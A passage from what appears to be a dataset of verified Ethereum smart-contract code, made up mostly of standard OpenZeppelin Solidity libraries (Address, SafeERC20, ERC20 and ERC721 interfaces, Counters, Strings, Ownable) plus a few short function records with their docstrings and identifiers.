{xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
Transfers fee receiver to a new account (`newFeeReceiver`). Can only be called by the current owner./
function changeFeeReceiver(address payable newFeeReceiver) public onlySuperAdmin { require( newFeeReceiver != address(0), "Fee Receiver: new fee receiver address is zero " ); emit FeeReceiverUpdated(feeReceiver, newFeeReceiver); feeReceiver = newFeeReceiver; }
10,198,103
./partial_match/1/0xDb5F0a77B8913161200799AE51747a57D8CFD8cD/sources/ApeVerse.sol
Converts a `uint256` to its ASCII `string` decimal representation./ Inspired by OraclizeAPI's implementation - MIT licence
function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); }
9,182,253
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no 